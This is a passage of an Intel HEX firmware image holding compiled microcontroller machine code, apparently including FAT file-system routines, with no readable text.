:1056d0001800c28f000042801000c2a71000c397bc
:1056e0005c000224ecff6210000000001000c29772
:1056f0004f004014000000000c80828f21204000e9
:105700002000c58f403e400f000000001f00022413
:10571000348182a3ffff02246c57400b000000007d
:105720001000c3975c0002243f00621400000000d8
:105730000c80828f2481838f3c0043ac0c80828f4d
:105740002481838f400043ac1000c0a70c80838f5e
:105750001000c297010044241000c4a72110620069
:105760005c000324200043a0e455400b000000002f
:105770000c80838f1000c297211062002000032448
:10578000200043a01000c297010042241000c2a7cd
:105790001000c2970b00422cf5ff401400000000df
:1057a0004880828f09004010000000001c00c28f5a
:1057b000020042241c00c2af1c00c28f00004294b1
:1057c0001000c2a7f955400b000000001800c28f5e
:1057d000010042241800c2af1800c28f00004280ae
:1057e0001000c2a71000c3975c00022404006210de
:1057f000000000001000c2970d00401400000000df
:105800000c80828f212040002000c58f403e400f39
:10581000000000001f000224348182a3ffff022445
:105820006c57400b000000000e56400b00000000bb
:105830003a55400b000000004880828f2f00401036
:10584000000000001c00c28f000042941000c2a79c
:105850001200c0a7000202241400c2a73156400b58
:10586000000000001200c297010043241200c3a7e9
:105870001000c397201c037c1000c4272110820055
:105880001c0043a01200c297010043241200c3a7ca
:105890001000c397021a0300ffff6330201c037c33
:1058a0001000c427211082001c0043a01c00c28fde
:1058b000020042241c00c2af1c00c28f00004294b0
:1058c0001000c2a71000c2972e0040100000000078
:1058d0001000c3975c0002242a0062100000000040
:1058e0001200c3971400c2972b106200ddff401412
:1058f000000000006156400b000000001800c28f3d
:10590000000042801000c2a71200c0a700010224bc
:105910001400c2a75556400b000000001200c297a9
:10592000010043241200c3a71000c397201c037c6e
:105930001000c427211082001c0043a01800c28f51
:10594000010042241800c2af1800c28f000042803c
:105950001000c2a71000c2970a004010000000000b
:105960001000c3975c0002240600621000000000d3
:105970001200c3971400c2972b106200e7ff401477
:10598000000000004880828f4000401000000000ae
:105990001200c297010043241200c3a71000c327be
:1059a000211062001c0040a01200c2971000c32703
:1059b000211062001c0040a02c00c3832e00022492
:1059c0005c006214000000002d00c28359004014e6
:1059d000000000002e00c2830400401400000000fc
:1059e0002f00c28312004010000000002e00c3836d
:1059f0002e00022404006214000000002f00c28365
:105a00000b004010000000000c80828f212040001d
:105a10002000c58f403e400f000000001f00022400
:105a2000348182a3ffff02246c57400b000000006a
:105a30002e00c3832e0002243e00621400000000ea
:105a40002f00c2833b004014000000003000c283de
:105a500004004014000000003100c28335004010f3
:105a6000000000000c80828f212040002000c58fa4
:105a7000403e400f000000001f000224348182a33a
:105a8000ffff02246c57400b000000001200c29779
:105a90001000c327211062001c0040a02c00c3830b
:105aa0002e00022423006214000000002d00c28397
:105ab0000f004010000000002d00c3832e000224c0
:105ac0000b006210000000000c80828f212040003b
:105ad0002000c58f403e400f000000001f00022440
:105ae000348182a3ffff02246c57400b00000000aa
:105af0002d00c3832e0002240e006214000000005b
:105b00002e00c2830b004010000000000c80828f2a
:105b1000212040002000c58f403e400f00000000c3
:105b20001f000224348182a3ffff02246c57400b24
:105b3000000000002c00c22721204000414c400ff3
:105b400000000000070040100000000000000000fe
:105b50004880828f4600401000000000fd56400b38
:105b600000000000ec56400b000000004880828fcf
:105b700009004010000000001c00c28f02004224f7
:105b80001c00c2af1c00c28f000042941000c2a7cc
:105b9000ec56400b000000001800c28f01004224a8
:105ba0001800c2af1800c28f000042801000c2a7c8
:105bb0001000c3975c000224ecff6210000000009c
:105bc0001000c29709004014000000000c80828f72
:105bd000212040002000c58f403e400f0000000003
:105be000211000006c57400b000000000e56400bc7
:105bf000000000001400c0a72c00c2272400c2af80
:105c000000a0023ce81542242800c2af1400c2974d
:105c1000401002002800c38f211062001400c397b7
:105c2000401803002400c48f2118830000006394ef
:105c3000000043a41400c297401002002800c38f44
:105c40002110620000004294060040100000000095
:105c50001400c297010042241400c2a70357400b4e
:105c600000000000000000002257400b0000000070
:105c70002c00c22700a0033ce81564242128400022
:105c8000574a410f0000000000a0023ce8154424e0
:105c90007257400f0000000009004014000000008f
:105ca0000c80828f212040002000c58f403e400f95
:105cb00000000000ffff02246c57400b00000000b2
:105cc0002c00c22721204000414c400f0000000062
:105cd0000b004010000000000c80828f212040004b
:105ce0002000c58f403e400f000000001b00022432
:105cf000348182a3ffff02246c57400b0000000098
:105d00004880828f10004010000000004b57400b6d
:105d1000000000001c00c28f020042241c00c2af21
:105d20001c00c28f000042941000c2a71c00c28f4a
:105d3000000043945c000224f6ff621000000000a3
:105d40005f57400b000000005a57400b0000000056
:105d50001800c28f010042241800c2af1800c28f81
:105d6000000042801000c2a71800c28f00004380cc
:105d70005c000224f6ff6210000000001000c297d1
:105d800009004014000000000c80828f2120400098
:105d90002000c58f403e400f000000002110000091
:105da0006c57400b000000000e56400b0000000036
:105db00021e8c0033402bf8f3002be8f3802bd27f6
:105dc0000800e00300000000d0ffbd272c00bfaf9b
:105dd0002800beaf21f0a0033000c4af00a0023cf9
:105de000a01342241400c2af2000c0a73000c48f0b
:105df0001400c58f213000007644400f00000000e1
:105e0000060040140000000012000224348182a326
:105e100021100000e457400b000000000c80828f2e
:105e20003c00438c1400c28f3c0043ac0c80828f3a
:105e30004000438c1400c28f400043ac1400c28f5a
:105e4000040040ac1400c28f080040ac0c80828f6c
:105e50000000438c1400c28f000043ac2000c22716
:105e60001400c48f212840001200062401000724da
:105e7000e630400f00000000040040100000000069
:105e800021100000e457400b000000003c8082938a
:105e900010004010000000001400c28f0000428c6f
:105ea00021204000212800002130000001000724ab
:105eb000c64a400f0000000006004010000000002d
:105ec00009000224348182a321100000e457400b12
:105ed000000000001400c28f3c00438c2481828f9c
:105ee00004006214000000001000c0afc057400b57
:105ef000000000001400c28f3c00428c1000c2afb2
:105f00001400c28f3c00438c1400c28f400043ac8d
:105f10002000c2271400c48f21284000010006245d
:105f2000e72f400f000000001800c2af1800c28f1a
:105f300006004014000000001b000224348182a3ec
:105f400021100000e457400b000000001800c48f2f
:105f50000227400f000000001c00c2af1400c28fd7
:105f60000000428c212040001c00c58f1000c68f0d
:105f7000ea57400f0000000004004010000000003d
:105f800001000224e457400b000000002110000033
:105f900021e8c0032c00bf8f2800be8f3000bd2732
:105fa0000800e00300000000b8ffbd274400bfafb9
:105fb0004000beaf21f0a0034800c4af4c00c5af05
:105fc0005000c6af2000c2271400c2af408080af8f
:105fd000200002241800c2a74800c28f0300438893
:105fe000000043984800c28f1d004488212880008b
:105ff0001a0045982110a0002120600021280000ef
:10600000213040007152410f000000002e00022498
:106010002000c2a3010002241000c2a71158400ba7
:10602000000000001000c2971000c327211062007a
:1060300020000324100043a01000c2970100422456
:106040001000c2a71000c2970800422cf5ff4014b0
:10605000000000001000c0a72058400b0000000006
:106060001000c2971000c3272110620020000324f3
:10607000180043a01000c297010042241000c2a7dc
:106080001000c2970300422cf5ff401400000000ee
:10609000100002242b00c2a32c00c0a34c00c28f0e
:1060a000ffff42303a00c2a74c00c38fff0f023cf3
:1060b0002410620002140200ffff42303400c2a725
:1060c0003c00c0af128182932d00c2a32881829729
:1060d0002e00c2a7368182973000c2a73200c0a727
:1060e0003600c0a73800c0a71000c0a74b58400b0f
:1060f000000000004800c28f03004388000043985e
:106100001000c297211062001000c3971400c48fc2
:106110002118830000006380ff006330000043a06b
:106120001000c297010042241000c2a71000c397bc
:106130001800c2972b106200eeff40140000000010
:106140002e0002242100c2a35000c28fffff423064
:106150003a00c2a75000c38fff0f023c2410620018
:1061600002140200ffff42303400c2a71000c0a793
:106170006e58400b000000004800c28f03004388a7
:10618000000043981000c4971800c29721108200a5
:10619000211062001000c3971400c48f21188300df
:1061a00000006380ff006330000043a01000c2972e
:1061b000010042241000c2a71000c3971800c29724
:1061c0002b106200ecff4014000000004800c48f58
:1061d0004c00c58f6d3f400f000000001c00c2af97
:1061e0004800c28f030043882120600000004498cb
:1061f000211080001c00c48f2128400021300000a5
:106200009ad8400f00000000060040140000000073
:1062100009000224348182a3211000008a58400b17
:10622000000000000100022421e8c0034400bf8fe9
:106230004000be8f4800bd270800e00300000000ba
:10624000e8ffbd271400bfaf1000beaf21f0a003d0
:106250001800c4af2110a0001c00c2a31c00c293f0
:10626000212000001800c58f213000002138400097
:10627000bd58400f0000000021e8c0031400bf8f8c
:106280001000be8f1800bd270800e00300000000ca
:10629000e0ffbd271c00bfaf1800beaf21f0a00378
:1062a0002000c4af2110a0002400c2a301000224da
:1062b000488082af2400c293212000002000c58fb7
:1062c0002130000021384000bd58400f0000000080
:1062d0001000c2af488080af1000c28f21e8c00319
:1062e0001c00bf8f1800be8f2000bd270800e003f0
:1062f0000000000070fdbd278c02bfaf8802beaf5a
:1063000021f0a003211880009402c5af9802c6af07
:106310002110e0009002c3a39c02c2a300a0023c93
:10632000000642242400c2af00a0023ca013422475
:106330002800c2af3400c0a71600c0a74880828fd3
:106340002c00c2af3800c2273000c2af348180a316
:106350000c80828f2400c48f21284000403e400fd3
:10636000000000009402c48f414c400f0000000068
:1063700006004010000000000c000224348182a3bb
:10638000ffff0224d65d400b000000000c80828fce
:106390003c00438c2481828f0700621000000000c3
:1063a0000c80828f3c00438c2400c28f3c00428cc6
:1063b0000b006214000000000c80828f212040003e
:1063c0002400c58f403e400f000000001f00022443
:1063d000348182a3ffff0224d65d400b0000000041
:1063e0003400c29701004224ffff42303400c2a7ac
:1063f0000c80838f3400c2272120600021284000b8
:1064000001000624e72f400f000000001000c2af7b
:106410001000c28f0b004014000000000c80828f1f
:10642000212040002400c58f403e400f00000000a6
:106430001b000224348182a3ffff0224d65d400b9f
:10644000000000003400c29701004224ffff4230e8
:106450003400c2a70c80838f3400c2272120600043
:106460002128400021300000e72f400f00000000ed
:106470001000c2af1000c28f0b00401400000000db
:106480000c80828f212040002400c58f403e400fa9
:10649000000000001b000224348182a3ffff0224bd
:1064a000d65d400b000000009c02c29331004014f6
:1064b000000000005759400b000000001000c28f80
:1064c00000004380e5ff02240b0062100000000082
:1064d0000c80828f212040002400c58f403e400f59
:1064e0000000000016000224348182a3ffff022472
:1064f000d65d400b000000003400c297010042242a
:10650000ffff42303400c2a70c80838f3400c227c3
:10651000212060002128400021300000e72f400f9b
:10652000000000001000c2af1000c28f0b0040142a
:10653000000000000c80828f212040002400c58fc5
:10654000403e400f000000001b000224348182a363
:10655000ffff0224d65d400b000000001000c28f38
:1065600000004280d5ff4014000000006b5d400b2e
:10657000000000002a8180a31400c0a72400c28f5d
:106580003800c327300043ac2800c28f3800c3272f
:10659000300043ac685d400b000000001000c28f6b
:1065a0000000428019024010000000001000c28f5d
:1065b00000004380e5ff0224ee00621000000000ae
:1065c0001000c28f0b0043900f000224e9006214f8
:1065d000000000001000c28f1c00c2af1c00c28f60
:1065e00000004290400042301700401000000000c0
:1065f0001c00c28f00004290bfff4224ffff4230c8
:10660000211840002110600080100200802002004c
:106610002310820021104300ffff42301600c2a762
:106620001600c2870d004224401002003000c38fc4
:1066300021106200000040a4010002242000c2af2b
:106640009f59400b000000001c00c28f00004290c8
:10665000ffff4224ffff423021184000211060005c
:1066600080100200802002002310820021104300cd
:10667000ffff42301600c2a72000c0af1c00c28f2f
:10668000010042908002c2a31c00c28f020042900f
:106690008102c2a31600c287010043241600c3a7cb
:1066a000401002003000c38f211062008002c397a7
:1066b000000043a41c00c28f030042908002c2a3ca
:1066c0001c00c28f040042908102c2a31600c28740
:1066d000010043241600c3a7401002003000c38ffe
:1066e000211062008002c397000043a41c00c28fe7
:1066f000050042908002c2a31c00c28f0600429097
:106700008102c2a31600c287010043241600c3a75a
:10671000401002003000c38f211062008002c39736
:10672000000043a41c00c28f070042908002c2a355
:106730001c00c28f080042908102c2a31600c287cb
:10674000010043241600c3a7401002003000c38f8d
:10675000211062008002c397000043a41c00c28f76
:10676000090042908002c2a31c00c28f0a0042901e
:106770008102c2a31600c287010043241600c3a7ea
:10678000401002003000c38f211062008002c397c6
:10679000000043a41600c287010043241600c3a7cb
:1067a000401002003000c38f211062001c00c38f14
:1067b0000e006394000043a41600c2870100432426
:1067c0001600c3a7401002003000c38f21106200e2
:1067d0001c00c38f10006394000043a41600c287fe
:1067e000010043241600c3a7401002003000c38fed
:1067f000211062001c00c38f12006394000043a4a8
:106800001600c287010043241600c3a740100200ef
:106810003000c38f211062001c00c38f14006394ea
:10682000000043a41600c287010043241600c3a73a
:10683000401002003000c38f211062001c00c38f83
:1068400016006394000043a41600c287010043248d
:106850001600c3a7401002003000c38f2110620051
:106860001c00c38f18006394000043a41600c28765
:10687000010043241600c3a7401002003000c38f5c
:10688000211062001c00c38f1c006394000043a40d
:106890001600c287401002003000c38f2110620032
:1068a0001c00c38f1e006394000043a42000c28f0d
:1068b0002a004010000000001600c3972400c28f79
:1068c000340043a40c0002241800c2a3505a400b09
:1068d000000000001600c3871800c2832310620066
:1068e00021184000ff7f023cffff4234211062006c
:1068f000401002003000c38f21106200000042945b
:106900000c004014000000001600c3971800c2835a
:10691000ffff423023106200ffff4230ffff42249e
:10692000ffff43302400c28f340043a4535a400b6e
:10693000000000001800c283ffff42241800c2a319
:106940001800c283e3ff4104000000002400c28f4e
:10695000340043942800c28f340043a43400c2970b
:1069600001004224ffff42303400c2a7585b400bb5
:10697000000000001000c28f00004380e5ff0224e9
:10698000f3006210000000001000c28f0b00439063
:1069900008000224ee006210000000001000c28f08
:1069a0000b0043900f000224e90062100000000079
:1069b0001000c28f0b00429010004230880040103f
:1069c000000000001400c297010042241400c2a776
:1069d0002400c28f340042941000401000000000d8
:1069e00001000224488082af3800c22721204000e5
:1069f000414c400f000000001800c2a32c00c28fc1
:106a0000488082af2400c28f340040a42800c28f87
:106a1000340040a4d55a400b000000001800c0a369
:106a2000955a400b000000001800c2931800c39351
:106a30001000c48f21188300000063801000c42759
:106a400021108200280043a01800c28301004224c4
:106a50001800c2a31800c283080042280800401092
:106a6000000000001800c2931000c38f21106200c4
:106a70000000438020000224ebff621400000000ad
:106a80001000c28f080043802000022425006210fd
:106a9000000000001800c283010043241800c3a3b3
:106aa000ff0042301000c327211062002e00032493
:106ab000280043a01900c0a3be5a400b00000000ec
:106ac0001800c283010043241800c3a3ff00423012
:106ad0001900c3931000c48f21188300080063803d
:106ae0001000c42721108200280043a01900c2838f
:106af000010042241900c2a31900c28303004228e6
:106b000008004010000000001900c2931000c38f5d
:106b1000211062000800438020000224e8ff621474
:106b2000000000001800c2931000c327211062006b
:106b3000280040a0488080af3800c22721204000b4
:106b4000414c400f000000001800c2a32c00c28f6f
:106b5000488082af1800c2830b0040100000000084
:106b60000c80828f212040002400c58f403e400fc2
:106b7000000000000c000224348182a3ffff0224e5
:106b8000d65d400b000000000c80828f3c00438cdf
:106b90002400c28f3c00428c0b00621400000000f5
:106ba0000c80828f212040002400c58f403e400f82
:106bb000000000001f000224348182a3ffff022492
:106bc000d65d400b00000000020002243400c2a782
:106bd00001000224478082a3585b400b00000000a4
:106be0002400c28f340042942600401400000000ac
:106bf0001800c0a30a5b400b000000001800c293fd
:106c00001800c3931000c48f211883000000638014
:106c10002800c48f21108200200043a01800c283e6
:106c2000010042241800c2a31800c28308004228b1
:106c3000f2ff4014000000001800c0a31d5b400bd1
:106c4000000000001800c293080042241800c393fb
:106c50001000c48f21188300080063802800c48faf
:106c600021108200200043a01800c28301004224aa
:106c70001800c2a31800c28303004228f1ff401489
:106c8000000000002800c28f00a0033c58106324bd
:106c9000000043ac3400c3972800c28f360043a4e1
:106ca0000c80828f3c00438c2800c28f3c0043ac98
:106cb0000c80828f4000438c2800c28f400043ac80
:106cc0002800c28f040040ac2800c28f080040acee
:106cd0003400c2272800c48f212840000100062468
:106ce000dd39400f000000000f00401000000000e0
:106cf0002400c28f340040a42800c28f340040a476
:106d00000c80828f212040002400c58f403e400f20
:106d10000000000001000224348182a3ffff02244e
:106d2000d65d400b000000003400c29701004224f1
:106d3000ffff42303400c2a72400c28f340040a4b9
:106d40002800c28f340040a4585b400b00000000b4
:106d50003400c29701004224ffff42303400c2a732
:106d6000478082931000401000000000478080a3fd
:106d70000c80828f0c80838f3c00638c400043ac7e
:106d80000c80838f3400c22721206000212840001e
:106d900001000624e72f400f000000001000c2afe2
:106da000725b400b000000000c80838f3400c22710
:106db000212060002128400021300000e72f400ff3
:106dc000000000001000c2af1000c28ff401401498
:106dd000000000002400c28f340040a42800c28fad
:106de000340040a40c80828f212040002400c58ff5
:106df000403e400f000000001b000224348182a3ab
:106e0000ffff0224d65d400b000000002400c28f6b
:106e1000340040a42800c28f340040a41400c2975c
:106e2000dd014010000000003600c0a70c80828ffa
:106e30000c80838f3c00638c400043ac0c80838fbc
:106e40003600c227212060002128400001000624ce
:106e5000e72f400f000000001000c2af1000c28feb
:106e60000b004014000000000c80828f21204000a5
:106e70002400c58f403e400f000000001b0002248c
:106e8000348182a3ffff0224d65d400b0000000086
:106e90001000c48f0227400f00000000ffff4230a7
:106ea0003600c2a74880828f080040100000000012
:106eb000059d023c00674424414c400f0000000047
:106ec0001600c2a7b85b400b00000000059d023c05
:106ed00008674424414c400f000000001600c2a780
:106ee0001600c2870b004010000000000c80828f4b
:106ef000212040002400c58f403e400f00000000cc
:106f00000c000224348182a3ffff0224d65d400bd3
:106f100000000000020002243400c2a70c80828f0f
:106f20000c80838f3c00638c400043ac0c80838fcb
:106f30003400c227212060002128400001000624df
:106f4000e72f400f000000001000c2af1000c28ffa
:106f50000b004014000000000c80828f21204000b4
:106f60002400c58f403e400f000000001b0002249b
:106f7000348182a3ffff0224d65d400b0000000095
:106f80001000c48f0227400f00000000208182af54
:106f9000035c400b000000003400c2970100422453
:106fa000ffff42303400c2a70c80838f3400c22719
:106fb000212060002128400021300000e72f400ff1
:106fc000000000001000c2af1000c28f0b00401480
:106fd000000000000c80828f212040002400c58f1b
:106fe000403e400f000000001b000224348182a3b9
:106ff000ffff0224d65d400b000000001000c48f8c
:107000000227400f00000000208182af3600c297a7
:10701000211840002081828fdfff621400000000f1
:107020003600c297211840002081828f0b00621425
:10703000000000001000c28f00004380e5ff022422
:10704000d5ff6210000000001000c28f0b004390bb
:1070500008000224d0ff6210000000001600c0a744
:107060000c80828f3c02c327212060002128400031
:10707000403e400f000000003400c297ffff422452
:10708000ffff42303a02c2a70c80838f3a02c22728
:10709000212060002128400021300000e72f400f10
:1070a000000000001c00c2afc65c400b00000000e6
:1070b0001c00c28f010042908002c2a31c00c28f3c
:1070c000020042908102c2a31600c287010043243d
:1070d0001600c3a7401002003000c38f21106200c9
:1070e0008002c397000043a41c00c28f030042909b
:1070f0008002c2a31c00c28f040042908102c2a37e
:107100001600c287010043241600c3a740100200e6
:107110003000c38f211062008002c397000043a497
:107120001c00c28f050042908002c2a31c00c28fc7
:10713000060042908102c2a31600c28701004324c8
:107140001600c3a7401002003000c38f2110620058
:107150008002c397000043a41c00c28f0700429026
:107160008002c2a31c00c28f080042908102c2a309
:107170001600c287010043241600c3a74010020076
:107180003000c38f211062008002c397000043a427
:107190001c00c28f090042908002c2a31c00c28f53
:1071a0000a0042908102c2a31600c2870100432454
:1071b0001600c3a7401002003000c38f21106200e8
:1071c0008002c397000043a41600c2870100432435
:1071d0001600c3a7401002003000c38f21106200c8
:1071e0001c00c38f0e006394000043a41600c287e6
:1071f000010043241600c3a7401002003000c38fd3
:10720000211062001c00c38f10006394000043a48f
:107210001600c287010043241600c3a740100200d5
:107220003000c38f211062001c00c38f12006394d2
:10723000000043a41600c287010043241600c3a720
:10724000401002003000c38f211062001c00c38f69
:1072500014006394000043a41600c2870100432475
:107260001600c3a7401002003000c38f2110620037
:107270001c00c38f16006394000043a41600c2874d
:10728000010043241600c3a7401002003000c38f42
:10729000211062001c00c38f18006394000043a4f7
:1072a0001600c287010043241600c3a74010020045
:1072b0003000c38f211062001c00c38f1c00639438
:1072c000000043a41600c287010043241600c3a790
:1072d000401002003000c38f211062001c00c38fd9
:1072e0001e006394000043a43a02c297ffff4224a9
:1072f000ffff42303a02c2a70c80838f3a02c227b6
:10730000212060002128400021300000e72f400f9d
:10731000000000001c00c2af1c00c28f0b00439095
:107320000f0002240a006214000000001c00c28f3b
:1073300000004390e50002240500621000000000f8
:107340001c00c28f0000429059ff40140000000052
:107350000c80838f3c02c22721206000212840003e
:10736000403e400f000000001600c287300040146d
:10737000000000003800c227212040002128000022
:107380000c0006247152410f000000001800c0a339
:10739000f15c400b000000001800c2931800c3937a
:1073a0001000c48f21188300000063801000c427e0
:1073b00021108200280043a01800c283010042244b
:1073c0001800c2a31800c28308004228f2ff40142c
:1073d000000000001800c0a3045d400b0000000086
:1073e0001800c293080042241800c3931000c48ff1
:1073f00021188300080063801000c4272110820038
:10740000280043a01800c283010042241800c2a330
:107410001800c28303004228f1ff4014000000005e
:107420000c80828f340040a4345d400b00000000cb
:107430000c80828f1600c397340043a40c000224f2
:107440001800c2a32e5d400b000000001600c38789
:107450001800c2832310620021184000ff7f023c05
:10746000ffff423421106200401002003000c38f41
:1074700021106200000042940c0040140000000043
:107480000c80828f1600c4971800c383ffff6330ff
:1074900023188300ffff6330ffff6324ffff633087
:1074a000340043a4315d400b000000001800c2838b
:1074b000ffff42241800c2a31800c283e3ff410467
:1074c000000000000c80828f3800c327300043acde
:1074d0003800c22721204000dc5d400f0000000082
:1074e0000b004010000000000c80828f2120400023
:1074f0002400c58f403e400f000000000100022420
:10750000348182a3ffff0224d65d400b00000000ff
:107510003400c29701004224ffff42303400c2a76a
:107520000c80828f0c80838f3c00638c400043acc6
:107530000c80838f3400c227212060002128400066
:1075400001000624e72f400f000000001000c2af2a
:107550001000c28f0b004014000000000c80828fce
:10756000212040002400c58f403e400f0000000055
:107570001b000224348182a3ffff0224d65d400b4e
:10758000000000001400c297ffff42241400c2a7ad
:10759000685d400b00000000010002242a8182a3e4
:1075a0002a818293fdfb4010000000003800c227b2
:1075b0002120400002000524e94e400f0000000099
:1075c00009004014000000000c80828f2120400040
:1075d0002400c58f403e400f00000000ffff022442
:1075e000d65d400b000000000c80828f3400429476
:1075f00019004014000000003800c227212040007c
:10760000212800000c0006247152410f00000000e8
:107610001800c0a3925d400b000000001800c29348
:107620000c80848f1800c39321188300200063808e
:107630001000c42721108200280043a01800c28334
:10764000010042241800c2a31800c2830b00422884
:10765000f2ff4014000000004880828f08004010b4
:1076600000000000059d023c00674424414c400f8f
:10767000000000001600c2a7a55d400b000000003e
:10768000059d023c08674424414c400f0000000067
:107690001600c2a71600c2870b00401000000000b1
:1076a0000c80828f212040002400c58f403e400f77
:1076b000000000000c000224348182a3ffff02249a
:1076c000d65d400b000000000c80828f3400429495
:1076d00009004010000000000c80828f3000428cb6
:1076e00021204000dc5d400f000000001600c2a712
:1076f000c35d400b000000003800c227212040007d
:10770000dc5d400f000000001600c2a71600c28713
:107710000b004010000000000c80828f21204000f0
:107720002400c58f403e400f0000000001000224ed
:10773000348182a3ffff0224d65d400b00000000cd
:107740000c80828f212040002400c58f403e400fd6
:10775000000000002110000021e8c0038c02bf8f50
:107760008802be8f9002bd270800e00300000000e1
:1077700098ffbd276400bfaf6000beaf21f0a0033b
:107780006800c4afd8d8400f0000000004004010cb
:1077900000000000ffff02242e5e400b00000000ee
:1077a0000c80828f1800c327212060002128400010
:1077b000403e400f000000000c80828f3400429455
:1077c00013004014000000001400c0a3005e400b32
:1077d000000000000c80848f1400c2931400c39337
:1077e0006800c58f2118a30000006380211082006b
:1077f000200043a01400c293010042241400c2a33d
:107800001400c2930b00422cf2ff40140000000051
:107810000c80828f00a0033ca01364242128400028
:10782000403e400f000000000c80828f212040006d
:1078300000a0023ca01345240100062421380000ca
:10784000db1b400f0000000012004014000000008d
:107850000c80838f0c80828f3600422421206000b0
:107860002128400001000624dd39400f00000000ff
:1078700004004014000000001000c0af275e400b61
:1078800000000000ffff02241000c2af275e400b83
:1078900000000000ffff02241000c2af0c80838fa5
:1078a0001800c2272120600021284000403e400fe0
:1078b000000000001000c28f21e8c0036400bf8fe9
:1078c0006000be8f6800bd270800e00300000000d4
:1078d00098ffbd276400bfaf6000beaf21f0a003da
:1078e0006800c4af6c00c5af7000c6af1800c227f7
:1078f0001400c2af348180a31400c28f00a0033ce7
:1079000090116324300043ac7000c28f00a0033c90
:10791000e41363241c0043ac6800c48f1400c58fbb
:10792000010006244e42400f0000000006004014f3
:107930000000000012000224348182a3ffff022411
:107940006f5f400b000000007000c28f3c0040a041
:107950001400c28f2c00438c7000c28f180043acff
:107960001400c28f340042942c8182a72c8182970c
:1079700026004014000000001100c0a36c5e400b04
:10798000000000001100c2931100c3936800c48f6f
:1079900021188300000063807000c48f21108200d2
:1079a000280043a01100c293010042241100c2a389
:1079b0001100c2930c00422c070040100000000090
:1079c0001100c2936800c38f211062000000428042
:1079d000ecff4014000000007f5e400b0000000040
:1079e0001100c2937000c38f21106200280040a0d4
:1079f0001100c293010042241100c2a31100c293de
:107a00000d00422cf6ff4014000000006c00c28ff5
:107a1000ff0043307000c28f350043a00c80828f7e
:107a20003c00438c7000c28f380043ac1400c28ffe
:107a300000a0033c58106324000043ac1400c28f24
:107a4000040040ac1400c28f080040ac1400c28f88
:107a5000360040a46c00c28fffff43301400c28f79
:107a60003a0043a40c80828f3c00438c1400c28fe8
:107a70003c0043ac0c80828f4000438c1400c28fca
:107a8000400043ac00a0023ca01344241400c58f66
:107a9000403e400f000000001400c48f00a0023cd4
:107aa000a01345240100062401000724db1b400f1e
:107ab0000000000006004010000000000b0002243f
:107ac000348182a3ffff02246f5f400b000000009f
:107ad0001400c28f360042945c00c2a75c00c2272b
:107ae0001400c48f2128400072000624a622400ff3
:107af00000000000ae004014000000001400c28f1f
:107b0000340043947000c28f200043a41400c28f3d
:107b1000340042941d004010000000001400c28f89
:107b2000340042941200c2a71200c38700a0023c96
:107b300040180300e413422421106200000040a416
:107b4000de5e400b000000001200c4871200c387f5
:107b500000a0023c401803004406422421106200a9
:107b60000000439400a0023c40200400e41342249f
:107b700021108200000043a41200c287ffff4324ab
:107b80001200c3a7f0ff4014000000001000c0a3c3
:107b9000ed5e400b000000001000c2937000c38f28
:107ba00021106200000040a01000c2930100422496
:107bb0001000c2a31000c2930d00422cf6ff401427
:107bc000000000001400c28f3a0043940800022411
:107bd00049006210000000001100c0a31000c0a303
:107be000085f400b000000001100c2931000c39317
:107bf0001400c48f21188300200063807000c48f9c
:107c000021108200000043a01100c2930100422411
:107c10001100c2a31000c293010042241000c2a3ad
:107c20001000c2930800422c080040100000000021
:107c30001000c2931400c38f211062002000438003
:107c400020000224e8ff6214000000001400c28f2c
:107c50002800438020000224390062100000000048
:107c60001100c293010043241100c3a37000c38f0d
:107c7000211062002e000324000043a0080002240b
:107c80001000c2a3315f400b000000001100c2933e
:107c90001000c3931400c48f211883002000638058
:107ca0007000c48f21108200000043a01100c29315
:107cb000010042241100c2a31000c293010042241b
:107cc0001000c2a31000c2930b00422c1c004010f5
:107cd000000000001000c2931400c38f2110620046
:107ce0002000438020000224e8ff6214000000000e
:107cf000505f400b000000001100c0a34c5f400b20
:107d0000000000001100c2931100c3931400c48f3f
:107d100021188300200063807000c48f211082002e
:107d2000000043a01100c293010042241100c2a32d
:107d30001100c2930b00422cf2ff4014000000001f
:107d40001400c28f3a004294ff0043307000c28f8b
:107d50000d0043a01400c28f1400438c7000c28f2a
:107d6000100043ac1400c28f1e004294001c02009d
:107d70001400c28f1c004294211862007000c28f50
:107d8000140043ac1400c28f360042942118400006
:107d90007000c28f240043ac7000c28f0100032426
:107da0003c0043a0211000006f5f400b000000006a
:107db0001b000224348182a3ffff022421e8c003b8
:107dc0006400bf8f6000be8f6800bd270800e0031d
:107dd0000000000098ffbd276400bfaf6000beaf89
:107de00021f0a0036800c4af1800c2271400c2af7e
:107df000348180a36800c28f3c004290060040148a
:107e00000000000007000224348182a3ffff022447
:107e10008760400b000000006800c28f3800438c70
:107e20000c80828f3c00428c060062100000000033
:107e30001f000224348182a3ffff02248760400bcd
:107e4000000000006800c28f1800438c1400c28f2d
:107e50002c0043ac2c8183971400c28f340043a4c0
:107e60001400c28f3400429407004010000000004c
:107e70001400c28f00a0033c90116324300043ac77
:107e8000b05f400b000000006800c28f2800422451
:107e9000212040001400c58f010006244e42400fef
:107ea0000000000006004014000000001200022440
:107eb000348182a3ffff02248760400b0000000092
:107ec0001400c28f00a0033c58106324000043ac90
:107ed0001400c28f040040ac1400c28f080040acf4
:107ee0006800c28f2400428cffff42300100422410
:107ef000ffff43301400c28f360043a46800c28fd6
:107f000035004290211840001400c28f3a0043a46b
:107f10000c80828f3c00438c1400c28f3c0043ac29
:107f20000c80828f4000438c1400c28f400043ac11
:107f300000a0023ca01344241400c58f403e400f13
:107f4000000000001400c48f00a0023ca0134524d0
:107f50000100062401000724db1b400f0000000085
:107f600006004010000000000b000224348182a3b0
:107f7000ffff02248760400b000000001400c28f46
:107f8000340043946800c28f200043a41400c28fc1
:107f9000340042941d004010000000001400c28f05
:107fa000340042941200c2a71200c38700a0023c12
:107fb00040180300e413422421106200000040a492
:107fc000fe5f400b000000001200c4871200c38750
:107fd00000a0023c40180300440642242110620025
:107fe0000000439400a0023c40200400e41342241b
:107ff00021108200000043a41200c287ffff432427
:108000001200c3a7f0ff4014000000001100c0a33d
:108010000d60400b000000001100c2936800c38f88
:1080200021106200000040a01100c2930100422410
:108030001100c2a31100c2930d00422cf6ff4014a0
:10804000000000001400c28f3a004394080002248c
:1080500049006210000000001000c0a31100c0a37e
:108060002860400b000000001000c2931100c39371
:108070001400c48f21188300200063806800c48f1f
:1080800021108200000043a01000c293010042248e
:108090001000c2a31100c293010042241100c2a328
:1080a0001100c2930800422c08004010000000009c
:1080b0001100c2931400c38f21106200200043807e
:1080c00020000224e8ff6214000000001400c28fa8
:1080d00028004380200002243900621000000000c4
:1080e0001000c293010043241000c3a36800c38f93
:1080f000211062002e000324000043a00800022487
